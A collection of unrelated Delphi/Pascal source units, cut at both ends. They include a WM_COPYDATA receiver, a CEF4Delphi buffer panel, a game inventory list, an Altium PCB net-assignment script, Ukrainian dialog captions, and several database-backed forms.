FListaNfceSangriaVO := TListaNfceSangriaVO.Create;
end;
destructor TNfceMovimentoVO.Destroy;
begin
FreeAndNil(FNfceCaixaVO);
FreeAndNil(FEmpresaVO);
FreeAndNil(FNfceTurnoVO);
FreeAndNil(FNfceOperadorVO);
FreeAndNil(FNfceGerenteVO);
FreeAndNil(FListaNfceFechamentoVO);
FreeAndNil(FListaNfceSuprimentoVO);
FreeAndNil(FListaNfceSangriaVO);
inherited;
end;
initialization
Classes.RegisterClass(TNfceMovimentoVO);
finalization
Classes.UnRegisterClass(TNfceMovimentoVO);
end.
|
unit Objekt.Prg2CopyData;
interface
uses
SysUtils, Classes, Vcl.Controls, Winapi.Messages;
type
TNewMessage = procedure(Sender: TObject; aNewMessage: string) of object;
type
TPrg2CopyData = class(TComponent)
private
fOnNewMessage: TNewMessage;
procedure WMCopyData(var Msg: TWMCopyData); message WM_COPYDATA;
public
property OnNewMessage: TNewMessage read fOnNewMessage write fOnNewMessage;
end;
implementation
{ TPrg2CopyData }
procedure TPrg2CopyData.WMCopyData(var Msg: TWMCopyData);
var
s : UTF8String;
NewMsg: string;
begin
if (Msg.CopyDataStruct <> nil) and (Msg.CopyDataStruct.dwData = 1) then
begin
SetString(s, PAnsiChar(Msg.CopyDataStruct.lpData), Msg.CopyDataStruct.cbData);
NewMsg := String(s);
if Assigned(fOnNewMessage) then
fOnNewMessage(Self, NewMsg);
end
else
inherited;
end;
end.
|
unit TpDbListSource;
interface
uses
Windows, SysUtils, Classes, Controls, Graphics,
Types,
ThWebControl, ThTag, ThDbListSource,
TpControls, TpDb;
type
TTpDbListSource = class(TThDbListSource)
private
FDataSource: TTpDataSource;
protected
procedure SetDataSource(const Value: TTpDataSource);
protected
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
procedure Tag(inTag: TThTag); override;
published
property DataSource: TTpDataSource read FDataSource write SetDataSource;
end;
implementation
{ TTpDbListSource }
procedure TTpDbListSource.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if (Operation = opRemove) and (AComponent = FDataSource) then
begin
FDataSource := nil;
Data.DataSource := nil;
end;
end;
procedure TTpDbListSource.SetDataSource(const Value: TTpDataSource);
begin
TpSetDataSource(Self, Value, FDataSource, Data);
end;
procedure TTpDbListSource.Tag(inTag: TThTag);
begin
inherited;
with inTag do
begin
Add(tpClass, 'TTpDbListSource');
Add('tpName', Name);
if (DataSource <> nil) and not DataSource.DesignOnly then
Add('tpDataSource', DataSource.Name);
Add('tpField', FieldName);
//Add('tpOnGenerate', OnGenerate);
end;
end;
end.
|
unit UpPremiaFOrderEditPeriod;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, cxControls, cxContainer, cxEdit, cxTextEdit,
cxMaskEdit, cxDropDownEdit, cxCalendar, Buttons, uFControl,
uLabeledFControl, uSpravControl, uCommonSP, UpPremiaFOrderForm, cxCheckBox,
cxCurrencyEdit, cxLabel, AppEvnts, ActnList;
type
TfrmEditPeriod = class(TForm)
OkButton: TBitBtn;
CancelButton: TBitBtn;
DateBeg: TcxDateEdit;
DateEnd: TcxDateEdit;
Label6: TLabel;
Label1: TLabel;
Per_Department: TqFSpravControl;
EditForAllPeriod: TcxCheckBox;
RecalcEdit: TcxCurrencyEdit;
RndComboBox: TcxComboBox;
EditForRecalc: TcxCheckBox;
EditForRound: TcxCheckBox;
GroupBox1: TGroupBox;
ActionList1: TActionList;
OKBut: TAction;
procedure Per_DepartmentOpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: String);
procedure FormCreate(Sender: TObject);
procedure EditForRecalcClick(Sender: TObject);
procedure EditForRoundClick(Sender: TObject);
procedure OKButExecute(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
implementation
{$R *.dfm}
procedure TfrmEditPeriod.Per_DepartmentOpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: String);
var
sp: TSprav;
begin
sp := GetSprav('SpDepartment');
if sp <> nil then
begin
with sp.Input do
begin
Append;
FieldValues['DBHandle'] := Integer(TfmPremiaOrder(self.Owner).WorkDatabase.Handle);
FieldValues['Select'] := 1;
FieldValues['ShowStyle'] := 0;
Post;
end;
sp.Show;
if ( sp.Output <> nil ) and not sp.Output.IsEmpty
then begin
Value := sp.Output['ID_DEPARTMENT'];
DisplayText := sp.Output['NAME_FULL'];
end;
end;
end;
procedure TfrmEditPeriod.FormCreate(Sender: TObject);
begin
if (TfmPremiaOrder(self.Owner).IdType.ItemIndex=1) then Per_Department.Blocked:=False;
if (TfmPremiaOrder(self.Owner).IdType.ItemIndex=0) then Per_Department.Blocked:=True;
end;
procedure TfrmEditPeriod.EditForRecalcClick(Sender: TObject);
begin
RecalcEdit.Enabled:=EditForRecalc.Checked;
end;
procedure TfrmEditPeriod.EditForRoundClick(Sender: TObject);
begin
RndComboBox.Enabled:=EditForRound.Checked;
end;
procedure TfrmEditPeriod.OKButExecute(Sender: TObject);
begin
ModalResult:=mrOk;
end;
end.
|
// ************************************************************************
// ***************************** CEF4Delphi *******************************
// ************************************************************************
//
// CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based
// browser in Delphi applications.
//
// The original license of DCEF3 still applies to CEF4Delphi.
//
// For more information about CEF4Delphi visit :
// https://www.briskbard.com/index.php?lang=en&pageid=cef
//
// Copyright © 2017 Salvador Díaz Fau. All rights reserved.
//
// ************************************************************************
// ************ vvvv Original license and comments below vvvv *************
// ************************************************************************
(*
* Delphi Chromium Embedded 3
*
* Usage allowed under the restrictions of the Lesser GNU General Public License
* or alternatively the restrictions of the Mozilla Public License 1.1
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
* the specific language governing rights and limitations under the License.
*
* Unit owner : Henri Gourvest <hgourvest@gmail.com>
* Web site : http://www.progdigy.com
* Repository : http://code.google.com/p/delphichromiumembedded/
* Group : http://groups.google.com/group/delphichromiumembedded
*
* Embarcadero Technologies, Inc is not permitted to use or redistribute
* this source code without explicit permission.
*
*)
unit uBufferPanel;
{$I cef.inc}
interface
uses
{$IFDEF DELPHI16_UP}
Winapi.Windows, Winapi.Messages, System.Classes, Vcl.ExtCtrls, Vcl.Controls,
Vcl.Graphics, System.SyncObjs, System.SysUtils;
{$ELSE}
Windows, Messages, Classes, Controls,
ExtCtrls, Graphics, SyncObjs, SysUtils;
{$ENDIF}
type
TBufferPanel = class(TCustomPanel)
protected
FMutex : THandle;
FBuffer : TBitmap;
FScanlineSize : integer;
function GetBufferBits : pointer;
function GetBufferWidth : integer;
function GetBufferHeight : integer;
function CopyBuffer(aDC : HDC; const aRect : TRect) : boolean;
function SaveBufferToFile(const aFilename : string) : boolean;
procedure DestroyBuffer;
procedure WMPaint(var aMessage: TWMPaint); message WM_PAINT;
procedure WMEraseBkgnd(var aMessage : TWMEraseBkgnd); message WM_ERASEBKGND;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure AfterConstruction; override;
function SaveToFile(const aFilename : string) : boolean;
procedure InvalidatePanel;
function BeginBufferDraw : boolean;
procedure EndBufferDraw;
procedure BufferDraw(x, y : integer; const aBitmap : TBitmap);
function UpdateBufferDimensions(aWidth, aHeight : integer) : boolean;
function BufferIsResized(aUseMutex : boolean = True) : boolean;
property Buffer : TBitmap read FBuffer;
property ScanlineSize : integer read FScanlineSize;
property BufferWidth : integer read GetBufferWidth;
property BufferHeight : integer read GetBufferHeight;
property BufferBits : pointer read GetBufferBits;
property DockManager;
published
property Align;
property Alignment;
property Anchors;
property AutoSize;
property BevelEdges;
property BevelInner;
property BevelKind;
property BevelOuter;
property BevelWidth;
property BiDiMode;
property BorderWidth;
property BorderStyle;
property Caption;
property Color;
property Constraints;
property Ctl3D;
property UseDockManager default True;
property DockSite;
property DoubleBuffered;
property DragCursor;
property DragKind;
property DragMode;
property Enabled;
property FullRepaint;
property Font;
property Locked;
property ParentBiDiMode;
property ParentBackground;
property ParentColor;
property ParentCtl3D;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;
property OnCanResize;
property OnClick;
property OnConstrainedResize;
property OnContextPopup;
property OnDockDrop;
property OnDockOver;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnEndDock;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnGetSiteInfo;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnResize;
property OnStartDock;
property OnStartDrag;
property OnUnDock;
{$IFDEF DELPHI9_UP}
property VerticalAlignment;
property OnAlignInsertBefore;
property OnAlignPosition;
{$ENDIF}
{$IFDEF DELPHI10_UP}
property Padding;
property OnMouseActivate;
property OnMouseEnter;
property OnMouseLeave;
{$ENDIF}
{$IFDEF DELPHI12_UP}
property ShowCaption;
property ParentDoubleBuffered;
{$ENDIF}
{$IFDEF DELPHI14_UP}
property Touch;
property OnGesture;
{$ENDIF}
{$IFDEF DELPHI17_UP}
property StyleElements;
{$ENDIF}
end;
implementation
uses
uCEFMiscFunctions, uCEFApplication;
constructor TBufferPanel.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FMutex := 0;
FBuffer := nil;
end;
destructor TBufferPanel.Destroy;
begin
DestroyBuffer;
if (FMutex <> 0) then
begin
CloseHandle(FMutex);
FMutex := 0;
end;
inherited Destroy;
end;
procedure TBufferPanel.AfterConstruction;
begin
inherited AfterConstruction;
FMutex := CreateMutex(nil, False, nil);
end;
procedure TBufferPanel.DestroyBuffer;
begin
if BeginBufferDraw then
begin
if (FBuffer <> nil) then FreeAndNil(FBuffer);
EndBufferDraw;
end;
end;
function TBufferPanel.SaveBufferToFile(const aFilename : string) : boolean;
begin
Result := False;
try
if (FBuffer <> nil) then
begin
FBuffer.SaveToFile(aFilename);
Result := True;
end;
except
on e : exception do
if CustomExceptionHandler('TBufferPanel.SaveBufferToFile', e) then raise;
end;
end;
function TBufferPanel.SaveToFile(const aFilename : string) : boolean;
begin
if BeginBufferDraw then
begin
Result := SaveBufferToFile(aFilename);
EndBufferDraw;
end
else
Result := False;
end;
procedure TBufferPanel.InvalidatePanel;
begin
PostMessage(Handle, CM_INVALIDATE, 0, 0);
end;
function TBufferPanel.BeginBufferDraw : boolean;
begin
Result := (FMutex <> 0) and (WaitForSingleObject(FMutex, 5000) = WAIT_OBJECT_0);
end;
procedure TBufferPanel.EndBufferDraw;
begin
if (FMutex <> 0) then ReleaseMutex(FMutex);
end;
function TBufferPanel.CopyBuffer(aDC : HDC; const aRect : TRect) : boolean;
begin
Result := False;
if BeginBufferDraw then
begin
Result := (FBuffer <> nil) and
(aDC <> 0) and
BitBlt(aDC, aRect.Left, aRect.Top, aRect.Right - aRect.Left, aRect.Bottom - aRect.Top,
FBuffer.Canvas.Handle, aRect.Left, aRect.Top,
SrcCopy);
EndBufferDraw;
end;
end;
procedure TBufferPanel.WMPaint(var aMessage: TWMPaint);
var
TempPaintStruct : TPaintStruct;
TempDC : HDC;
begin
try
TempDC := BeginPaint(Handle, TempPaintStruct);
if csDesigning in ComponentState then
begin
Canvas.Font.Assign(Font);
Canvas.Brush.Color := Color;
Canvas.Brush.Style := bsSolid;
Canvas.Pen.Style := psDash;
Canvas.Rectangle(0, 0, Width, Height);
end
else
if not(CopyBuffer(TempDC, TempPaintStruct.rcPaint)) then
begin
Canvas.Brush.Color := Color;
Canvas.Brush.Style := bsSolid;
Canvas.FillRect(rect(0, 0, Width, Height));
end;
finally
EndPaint(Handle, TempPaintStruct);
aMessage.Result := 1;
end;
end;
procedure TBufferPanel.WMEraseBkgnd(var aMessage : TWMEraseBkgnd);
begin
aMessage.Result := 1;
end;
function TBufferPanel.GetBufferBits : pointer;
begin
if (FBuffer <> nil) then
Result := FBuffer.Scanline[pred(FBuffer.Height)]
else
Result := nil;
end;
function TBufferPanel.GetBufferWidth : integer;
begin
if (FBuffer <> nil) then
Result := FBuffer.Width
else
Result := 0;
end;
function TBufferPanel.GetBufferHeight : integer;
begin
if (FBuffer <> nil) then
Result := FBuffer.Height
else
Result := 0;
end;
procedure TBufferPanel.BufferDraw(x, y : integer; const aBitmap : TBitmap);
begin
if (FBuffer <> nil) then FBuffer.Canvas.Draw(x, y, aBitmap);
end;
function TBufferPanel.UpdateBufferDimensions(aWidth, aHeight : integer) : boolean;
begin
if ((FBuffer = nil) or
(FBuffer.Width <> aWidth) or
(FBuffer.Height <> aHeight)) then
begin
if (FBuffer <> nil) then FreeAndNil(FBuffer);
FBuffer := TBitmap.Create;
FBuffer.PixelFormat := pf32bit;
FBuffer.HandleType := bmDIB;
FBuffer.Width := aWidth;
FBuffer.Height := aHeight;
FScanlineSize := FBuffer.Width * SizeOf(TRGBQuad);
Result := True;
end
else
Result := False;
end;
function TBufferPanel.BufferIsResized(aUseMutex : boolean) : boolean;
begin
Result := False;
if not(aUseMutex) or BeginBufferDraw then
begin
// CEF and Chromium use 'floor' to round the float values in Device <-> Logical unit conversions
// and Delphi uses MulDiv, which uses the bankers rounding, to resize the components in high DPI mode.
// This is the cause of slight differences in size between the buffer and the panel in some occasions.
Result := (FBuffer <> nil) and
(FBuffer.Width = LogicalToDevice(DeviceToLogical(Width, GlobalCEFApp.DeviceScaleFactor), GlobalCEFApp.DeviceScaleFactor)) and
(FBuffer.Height = LogicalToDevice(DeviceToLogical(Height, GlobalCEFApp.DeviceScaleFactor), GlobalCEFApp.DeviceScaleFactor));
if aUseMutex then EndBufferDraw;
end;
end;
end.
|
//------------------------------------------------------------------------------
//InventoryList UNIT
//------------------------------------------------------------------------------
// What it does -
// A list of Inventory Items
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
unit InventoryList;
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
Item,
ItemInstance,
List32,
Contnrs;
type
//------------------------------------------------------------------------------
//TInventoryList CLASS
//------------------------------------------------------------------------------
TInventoryList = Class(TObject)
private
fList : TObjectList;
fSlotList : TIntList32;
fIndexList : TIntList32;
fNextID : Word;
function GetValue(Index : Integer) : TItemInstance;
procedure SetValue(Index : Integer; Value : TItemInstance);
function GetIndexItem(Index : Integer) : TItemInstance;
function GetCount : Integer;
function RegisterIndex : Word;
public
OwnsItems : Boolean;
StackableList : TIntList32;
constructor Create(OwnsItems : Boolean);
destructor Destroy; override;
property Items[Index : Integer] : TItemInstance
read GetValue write SetValue;default;
property IndexItems[Index : Integer] : TItemInstance read GetIndexItem;
Property Count : Integer read GetCount;
//procedure Add(const AnItem : TItem; const Quantity : Word);overload;
procedure Add(const AnInventoryItem:TItemInstance;const Stack:Boolean = False);overload;
// procedure Insert(const AnItem : TItem; const Quantity : Word; Index : Integer);
procedure Delete(const Index : Integer);overload;
procedure Delete(const ItemInstance:TItemInstance;const DontFree:Boolean=False);overload;
procedure Clear();
function IndexOf(const ID : LongWord) : Integer;
end;
//------------------------------------------------------------------------------
implementation
//------------------------------------------------------------------------------
//Create CONSTRUCTOR
//------------------------------------------------------------------------------
// What it does -
// Initializes our itemlist.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
constructor TInventoryList.Create(OwnsItems : Boolean);
begin
inherited Create;
//We will manually free 'em
fList := TObjectList.Create(FALSE);
self.OwnsItems := OwnsItems;
fSlotList := TIntList32.Create;
fIndexList := TIntList32.Create;
StackableList := TIntList32.Create;
fNextID := 0;
end;{Create}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Destroy DESTRUCTOR
//------------------------------------------------------------------------------
// What it does -
// Destroys our list and frees any memory used.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
destructor TInventoryList.Destroy;
begin
Clear;
fList.Free;
fSlotList.Free;
fIndexList.Free;
StackableList.Free;
// Call TObject destructor
inherited;
end;{Destroy}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Add PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Adds a TInventoryItem to the list.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
{procedure TInventoryList.Add(const AnItem : TItem; const Quantity : Word);
var
AnInventoryItem : TItemInstance;
begin
AnInventoryItem := TItemInstance.Create;
AnInventoryItem.Item := AnItem;
AnInventoryItem.Quantity := Quantity;
Add(AnInventoryItem);
end;}{Add}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Add PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Adds a TInventoryItem to the list.
//
// Changes -
// [2008/09/20] Aeomin - Created.
//------------------------------------------------------------------------------
procedure TInventoryList.Add(const AnInventoryItem:TItemInstance;const Stack:Boolean = False);
begin
AnInventoryItem.Index := RegisterIndex;
fList.Add(AnInventoryItem);
fIndexList.AddObject(AnInventoryItem.Index, AnInventoryItem);
if Stack then
begin
StackableList.AddObject(AnInventoryItem.Item.ID,AnInventoryItem);
end;
end;{Add}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Insert PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Inserts a TInventoryItem at Index Position.
//
// Changes -
// October 30th, 2007 - RaX - Created.
// [2008/09/21] Aeomin - Banned this procedure.
//------------------------------------------------------------------------------
{procedure TInventoryList.Insert(const AnItem : TItem; const Quantity : Word; Index: Integer);
var
AnInventoryItem : TInventoryItem;
begin
AnInventoryItem := TInventoryItem.Create;
AnInventoryItem.Item := AnItem;
AnInventoryItem.Quantity := Quantity;
fList.Insert(Index, AnInventoryItem);
end;}{Insert}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Delete PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Removes a TInventoryItem at Index from the list.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
procedure TInventoryList.Delete(const Index : Integer);
var
AnIndex : Integer;
begin
AnIndex := fIndexList.IndexOf(Index);
if AnIndex > -1 then
begin
Delete(TItemInstance(fIndexList.Objects[AnIndex]));
end;
end;{Delete}
//------------------------------------------------------------------------------
procedure TInventoryList.Delete(const ItemInstance:TItemInstance;const DontFree:Boolean=False);
var
Index:Integer;
AnIndex : Integer;
begin
Index:=fList.IndexOf(ItemInstance);
if Index>-1 then
begin
fSlotList.Add(ItemInstance.Index);
fList.Delete(Index);
AnIndex := StackableList.IndexOf(ItemInstance.Item.ID);
if AnIndex > -1 then
begin
StackableList.Delete(AnIndex);
end;
AnIndex := fIndexList.IndexOf(ItemInstance.Index);
if AnIndex > -1 then
begin
fIndexList.Delete(AnIndex);
end;
if (NOT DontFree) AND OwnsItems then
begin
Items[Index].Item.Free;
Items[Index].Free;
end;
end;
end;
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//IndexOf FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Returns the index in the list of the TInventoryItem;
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
function TInventoryList.IndexOf(const ID: LongWord): Integer;
var
Index : Integer;
begin
Index := fList.Count-1;
Result := -1;
while (Index >= 0) do
begin
if ID = Items[Index].Item.ID then
begin
Result := Index;
Exit;
end;
dec(Index, 1);
end;
end;{IndexOf}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Clear PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Clears the list.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
procedure TInventoryList.Clear;
var
Index : Integer;
begin
//if we own the characters, the free them.
if fList.Count > 0 then
begin
if OwnsItems then
begin
for Index := 0 to fList.Count - 1 do
begin
Items[Index].Item.Free;
Items[Index].Free;
end;
end;
fList.Clear;
end;
fSlotList.Clear;
end;{Clear}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//GetValue FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Returns a TInventoryItem at the index.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
function TInventoryList.GetValue(Index : Integer): TItemInstance;
begin
Result := TItemInstance(fList.Items[Index]);
end;{GetValue}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//SetValue PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Sets a TInventoryItem into the list at Index.
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
procedure TInventoryList.SetValue(Index : Integer; Value : TItemInstance);
begin
fList.Items[Index] := Value;
end;{SetValue}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//GetIndexItem PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Get iteminstance, but using Index ID of a"rray way"
//
// Changes -
// [2008/09/29] Aeomin - Created;
//------------------------------------------------------------------------------
function TInventoryList.GetIndexItem(Index : Integer): TItemInstance;
var
ItemIdex : Integer;
begin
Result := nil;
ItemIdex := fIndexList.IndexOf(Index);
if ItemIdex > -1 then
begin
Result := TItemInstance(fIndexList.Objects[ItemIdex]);
end;
end;{GetIndexItem}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//GetCount PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Gets the count from the fList object
//
// Changes -
// October 30th, 2007 - RaX - Created.
//------------------------------------------------------------------------------
Function TInventoryList.GetCount : Integer;
begin
Result := fList.Count;
end;{GetCount}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//RegisterIndex PROCEDURE
//------------------------------------------------------------------------------
// What it does -
// Attempt to find next ID.
//
// Changes -
// [2008/09/21] Aeomin - Created
//------------------------------------------------------------------------------
function TInventoryList.RegisterIndex : Word;
begin
if fSlotList.Count > 0 then
begin
Result := fSlotList[0];
fSlotList.Delete(0);
end else
begin
Result := fNextID;
Inc(fNextID);
end;
end;{RegisterIndex}
//------------------------------------------------------------------------------
end.
|
{..............................................................................}
{ Summary A demo of how to assign nets to PCB objects. }
{ }
{ 1/ Look for a Net object that has the GND name. }
{ 2/ Create a Via object with the GND net and put on the PCB. }
{ }
{ Copyright (c) 2004 by Altium Limited }
{..............................................................................}
{..............................................................................}
Var
Board : IPCB_Board;
{..............................................................................}
{..............................................................................}
Procedure AssignNetToNewObject(NewNet : IPCB_Net);
Var
Via : IPCB_Via;
BR : TCoordRect;
Begin
Board := PCBServer.GetCurrentPCBBoard;
If Board = Nil Then Exit;
// Obtain the board outline and validate it.
Board.BoardOutline.Invalidate;
Board.BoardOutline.Rebuild;
Board.BoardOutline.Validate;
// Obtain the boundary (Left and Bottom properties) of the board outline
// so the via object can be placed within the board outline.
BR := Board.BoardOutline.BoundingRectangle;
// Create a Via object using the PCBObjectFactory method.
Via := PCBServer.PCBObjectFactory(eViaObject, eNoDimension, eCreate_Default);
Via.X := BR.Left + MilsToCoord(500);
Via.Y := BR.Bottom + MilsToCoord(500);
Via.Size := MilsToCoord(150);
Via.HoleSize := MilsToCoord(50);
Via.LowLayer := eTopLayer;
Via.HighLayer := eBottomLayer;
// Assign the GND net to the new Via object.
Via.Net := NewNet;
// Put the new Via object in the board object (representing the current PCB document)
Board.AddPCBObject(Via);
// Refresh PCB screen
Client.SendMessage('PCB:Zoom', 'Action=Redraw' , 255, Client.CurrentView);
End;
{..............................................................................}
{..............................................................................}
Procedure LookForNetsAndAssignNetsToNewObjects;
Var
Net : IPCB_Net;
Iterator : IPCB_BoardIterator;
Begin
// Retrieve the current board
Board := PCBServer.GetCurrentPCBBoard;
If Board = Nil Then Exit;
// Create the iterator that will look for Net objects only
Iterator := Board.BoardIterator_Create;
Iterator.AddFilter_ObjectSet(MkSet(eNetObject));
Iterator.AddFilter_LayerSet(AllLayers);
Iterator.AddFilter_Method(eProcessAll);
// Search for Net object that has the 'GND' name.
Net := Iterator.FirstPCBObject;
While (Net <> Nil) Do
Begin
If Net.Name = 'GND' Then
Begin
AssignNetToNewObject(Net);
Break;
End;
Net := Iterator.NextPCBObject;
End;
Board.BoardIterator_Destroy(Iterator);
End;
{..............................................................................}
{..............................................................................}
|
unit SpPeople_ZMessages;
interface
uses Classes, SysUtils, Dialogs, Graphics, Forms, StdCtrls;
const
MakeOld_Message = 'Ви дійсно бажаєте відмітити цей запис як застарілий?' + #13 + 'У такому разі він не буде відображатись в довіднику.';
const
MakeUsual_Message = 'Ви дійсно бажаєте відмітити цей запис як незастарілий?' + #13 + 'У такому разі він буде відображатись в довіднику.';
function ZShowMessage(Title: string; Msg: string; DlgType: TMsgDlgType; Buttons: TMsgDlgButtons): Integer;
implementation
const
OkBtnCaption = 'Гаразд';
const
CancelBtnCaption = 'Відмінити';
const
YesBtnCaption = 'Так';
const
NoBtnCaption = 'Ні';
const
AbortBtnCaption = 'Прервати';
const
RetryBtnCaption = 'Повторити';
const
IgnoreBtnCaption = 'Продовжити';
const
AllBtnCaption = 'Для усіх';
const
HelpBtnCaption = 'Допомога';
const
NoToAllBtnCaption = 'Ні для усіх';
const
YesToAllBtnCaption = 'Так для усіх';
function ZShowMessage(Title: string; Msg: string; DlgType: TMsgDlgType; Buttons: TMsgDlgButtons): Integer;
var
ViewMessageForm: TForm;
i: integer;
begin
if Pos(#13, Msg) = 0 then
Msg := #13 + Msg;
ViewMessageForm := CreateMessageDialog(Msg, DlgType, Buttons);
with ViewMessageForm do
begin
for i := 0 to ComponentCount - 1 do
if (Components[i].ClassType = TButton) then
begin
if UpperCase((Components[i] as TButton).Caption) = 'OK' then
(Components[i] as TButton).Caption := OkBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = 'CANCEL' then
(Components[i] as TButton).Caption := CancelBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&YES' then
(Components[i] as TButton).Caption := YesBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&NO' then
(Components[i] as TButton).Caption := NoBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&ABORT' then
(Components[i] as TButton).Caption := AbortBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&RETRY' then
(Components[i] as TButton).Caption := RetryBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&IGNORE' then
(Components[i] as TButton).Caption := IgnoreBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&ALL' then
(Components[i] as TButton).Caption := AllBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = '&HELP' then
(Components[i] as TButton).Caption := HelpBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = 'N&O TO ALL' then
(Components[i] as TButton).Caption := NoToAllBtnCaption;
if UpperCase((Components[i] as TButton).Caption) = 'YES TO &ALL' then
(Components[i] as TButton).Caption := YesToAllBtnCaption;
end;
Caption := Title;
i := ShowModal;
Free;
end;
ZShowMessage := i;
end;
end.
|
unit uPensionAdd;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Mask, CheckEditUnit, StdCtrls, ComCtrls, SpComboBox, SpCommon,
FieldControl, ExtCtrls, Buttons, EditControl,
cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit, cxDropDownEdit,
cxCalendar, uMemoControl, uLabeledFControl, uSpravControl,
uDateControl, uFormControl, uCharControl, uInvisControl, uLogicCheck,
uSimpleCheck, uFControl, cxCheckBox, cxLabel, BaseTypes, iBase;
type
TAddPension = class(TForm)
Panel1: TPanel;
SbCancel: TBitBtn;
SbOk: TBitBtn;
PensionCat: TqFSpravControl;
PensionVid: TqFSpravControl;
PensionNote: TqFMemoControl;
PensionProp: TqFSpravControl;
qFIC_id_pcard: TqFInvisControl;
qFSC1: TqFSimpleCheck;
qFSC2: TqFSimpleCheck;
qFSC3: TqFSimpleCheck;
cbInfinityDate: TcxCheckBox;
PensionDateBeg: TcxDateEdit;
lbDateBeg: TcxLabel;
PensionDateEnd: TcxDateEdit;
lbDateEnd: TcxLabel;
PensionDateStart: TcxDateEdit;
lbDateStart: TcxLabel;
PensionDateWork: TcxDateEdit;
lbDateWork: TcxLabel;
PensionOrderNum: TcxTextEdit;
lbNumOrder: TcxLabel;
PensionDateOrder: TcxDateEdit;
lbDateOrder: TcxLabel;
PensionDok: TcxTextEdit;
lbDoc: TcxLabel;
PensionReport: TcxDateEdit;
lbReport: TcxLabel;
procedure FormCreate(Sender: TObject);
procedure SbOkClick(Sender: TObject);
procedure SbCancelClick(Sender: TObject);
procedure PensionCatOpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: String);
procedure PensionVidOpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: String);
procedure PensionPropOpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: String);
procedure cbInfinityDateClick(Sender: TObject);
procedure PensionDateStartPropertiesChange(Sender: TObject);
private
{ Private declarations }
DHandle:Tisc_Db_Handle;
public
Inf_Date : TDateTime;
Mode:TFormMode;
id_pcard,id:integer;
FormControl: TEditControl;
constructor Create(AOwner: TComponent; DbHandle:TISC_DB_HANDLE);reintroduce;
end;
var
AddPension: TAddPension;
implementation
{$R *.dfm}
uses uCommonSp, SpFormUnit, FIBQuery, DB;
constructor TAddPension.Create(AOwner: TComponent; DbHandle:TISC_DB_HANDLE);
begin
inherited Create(AOwner);
DHandle:=DbHandle;
end;
{constructor TAddPension.Create(AOwner: TComponent; DM: TdmPension; Mode:TFormMode; Id_PCard: Integer; where: variant);
begin
inherited Create(AOwner);
Self.DM := DM;
Self.Mode:=Mode;
qFIC_id_pcard.Value:=Id_PCard;
qFFC_Pension.Prepare(DM.DB, Mode, Where, Null);
qFIC_id_pcard.Value:=Id_PCard;
DM.InfinityDate.Close;
DM.InfinityDate.Open;
Inf_Date:=DM.InfinityDateINFINITY_DATE.Value;
end; }
procedure TAddPension.FormCreate(Sender: TObject);
begin
// DM:=TdmPension.Create(Self);
{ qFDC_DateBeg.Value:=Date;
qFDC_DateEnd.Value:=Date;
qFDC_DateStart.Value:=Date;
